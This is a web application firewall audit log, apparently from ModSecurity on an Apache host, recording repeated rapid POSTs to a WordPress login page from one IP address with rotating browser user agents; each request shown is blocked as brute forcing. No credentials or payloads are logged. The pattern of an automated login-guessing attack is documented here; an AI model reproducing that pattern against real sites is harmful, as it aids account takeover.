Stopwatch2: 1789313954199536 1782; combined=610, p1=279, p2=107, p3=0, p4=0, p5=224, sr=99, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ba8e1974-Z--

--9da04604-A--
[13/Sep/2026:18:39:14.587899 +0300] aqbDovut1GUrjaX0wO44hgAAAMo 134.185.87.66 43578 127.0.0.1 7081
--9da04604-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 118
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--9da04604-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--9da04604-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313954586217 1747 (- - -)
Stopwatch2: 1789313954586217 1747; combined=530, p1=231, p2=72, p3=0, p4=0, p5=226, sr=81, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--9da04604-Z--

--3c472518-A--
[13/Sep/2026:18:39:14.976390 +0300] aqbDovut1GUrjaX0wO44iAAAAMY 134.185.87.66 43600 127.0.0.1 7081
--3c472518-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 112
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--3c472518-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--3c472518-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313954974720 1725 (- - -)
Stopwatch2: 1789313954974720 1725; combined=575, p1=236, p2=77, p3=0, p4=0, p5=262, sr=79, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--3c472518-Z--

--d7ce5977-A--
[13/Sep/2026:18:39:15.367261 +0300] aqbDo-ut1GUrjaX0wO44iQAAAMQ 134.185.87.66 43622 127.0.0.1 7081
--d7ce5977-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 109
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--d7ce5977-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--d7ce5977-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313955365274 2042 (- - -)
Stopwatch2: 1789313955365274 2042; combined=722, p1=374, p2=98, p3=0, p4=0, p5=250, sr=122, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d7ce5977-Z--

--6d56ce4b-A--
[13/Sep/2026:18:39:15.750604 +0300] aqbDo-ut1GUrjaX0wO44iwAAAMc 134.185.87.66 59664 127.0.0.1 7081
--6d56ce4b-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 118
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:89.0) Gecko/20100101 Firefox/89.0.2
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--6d56ce4b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--6d56ce4b-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313955748972 1736 (- - -)
Stopwatch2: 1789313955748972 1736; combined=566, p1=231, p2=82, p3=0, p4=0, p5=252, sr=92, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6d56ce4b-Z--

--63d2b006-A--
[13/Sep/2026:18:39:16.131002 +0300] aqbDpFdqBhgxDSpG7haLDwAAAE0 134.185.87.66 59694 127.0.0.1 7081
--63d2b006-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 96
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--63d2b006-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--63d2b006-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313956129331 1725 (- - -)
Stopwatch2: 1789313956129331 1725; combined=590, p1=265, p2=65, p3=0, p4=0, p5=259, sr=88, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--63d2b006-Z--

--52cb0532-A--
[13/Sep/2026:18:39:16.515691 +0300] aqbDpFdqBhgxDSpG7haLEAAAAEg 134.185.87.66 59704 127.0.0.1 7081
--52cb0532-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 132
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--52cb0532-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--52cb0532-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313956512494 3367 (- - -)
Stopwatch2: 1789313956512494 3367; combined=1269, p1=520, p2=201, p3=0, p4=0, p5=547, sr=185, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--52cb0532-Z--

--b407bf43-A--
[13/Sep/2026:18:39:16.905727 +0300] aqbDpEhjHs68UzErry1KyQAAAI4 134.185.87.66 59718 127.0.0.1 7081
--b407bf43-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 89
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--b407bf43-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--b407bf43-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313956903827 1970 (- - -)
Stopwatch2: 1789313956903827 1970; combined=744, p1=342, p2=83, p3=0, p4=0, p5=319, sr=146, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b407bf43-Z--

--4c566f4d-A--
[13/Sep/2026:18:39:17.289096 +0300] aqbDpUhjHs68UzErry1KywAAAIY 134.185.87.66 59736 127.0.0.1 7081
--4c566f4d-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 98
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--4c566f4d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--4c566f4d-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313957287240 1912 (- - -)
Stopwatch2: 1789313957287240 1912; combined=538, p1=236, p2=70, p3=0, p4=0, p5=232, sr=90, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4c566f4d-Z--

--d2eb4d17-A--
[13/Sep/2026:18:39:17.668837 +0300] aqbDpfut1GUrjaX0wO44jQAAAMA 134.185.87.66 59750 127.0.0.1 7081
--d2eb4d17-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 92
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--d2eb4d17-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--d2eb4d17-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313957666572 2333 (- - -)
Stopwatch2: 1789313957666572 2333; combined=774, p1=281, p2=161, p3=0, p4=0, p5=332, sr=102, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d2eb4d17-Z--

--4e08e17c-A--
[13/Sep/2026:18:39:18.056398 +0300] aqbDpldqBhgxDSpG7haLEQAAAEY 134.185.87.66 59772 127.0.0.1 7081
--4e08e17c-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 90
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--4e08e17c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--4e08e17c-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313958053726 2791 (- - -)
Stopwatch2: 1789313958053726 2791; combined=1031, p1=371, p2=157, p3=0, p4=0, p5=503, sr=143, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4e08e17c-Z--

--fec2c92a-A--
[13/Sep/2026:18:39:18.440800 +0300] aqbDpkhjHs68UzErry1KzAAAAI0 134.185.87.66 59794 127.0.0.1 7081
--fec2c92a-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 92
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--fec2c92a-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--fec2c92a-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313958438998 1872 (- - -)
Stopwatch2: 1789313958438998 1872; combined=621, p1=294, p2=65, p3=0, p4=0, p5=262, sr=120, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--fec2c92a-Z--

--94a6f251-A--
[13/Sep/2026:18:39:18.823763 +0300] aqbDpvut1GUrjaX0wO44jwAAANQ 134.185.87.66 59802 127.0.0.1 7081
--94a6f251-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 92
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--94a6f251-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--94a6f251-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313958822105 1714 (- - -)
Stopwatch2: 1789313958822105 1714; combined=605, p1=265, p2=67, p3=0, p4=0, p5=273, sr=131, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--94a6f251-Z--

--9af5110c-A--
[13/Sep/2026:18:39:19.204409 +0300] aqbDp-ut1GUrjaX0wO44kQAAANI 134.185.87.66 59828 127.0.0.1 7081
--9af5110c-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 90
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--9af5110c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--9af5110c-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313959202683 1788 (- - -)
Stopwatch2: 1789313959202683 1788; combined=618, p1=267, p2=67, p3=0, p4=0, p5=284, sr=109, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--9af5110c-Z--

--50eabc25-A--
[13/Sep/2026:18:39:19.587592 +0300] aqbDp-ut1GUrjaX0wO44kwAAAMg 134.185.87.66 59832 127.0.0.1 7081
--50eabc25-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 90
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--50eabc25-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--50eabc25-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313959586064 1646 (- - -)
Stopwatch2: 1789313959586064 1646; combined=507, p1=218, p2=62, p3=0, p4=0, p5=227, sr=80, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--50eabc25-Z--

--342caf55-A--
[13/Sep/2026:18:39:19.998854 +0300] aqbDp-ut1GUrjaX0wO44lQAAAM0 134.185.87.66 59844 127.0.0.1 7081
--342caf55-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 90
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--342caf55-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--342caf55-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313959997100 1808 (- - -)
Stopwatch2: 1789313959997100 1808; combined=656, p1=286, p2=68, p3=0, p4=0, p5=302, sr=127, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--342caf55-Z--

--e10f2e44-A--
[13/Sep/2026:18:39:20.422192 +0300] aqbDqPut1GUrjaX0wO44lwAAAM4 134.185.87.66 59850 127.0.0.1 7081
--e10f2e44-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 94
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--e10f2e44-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--e10f2e44-H--
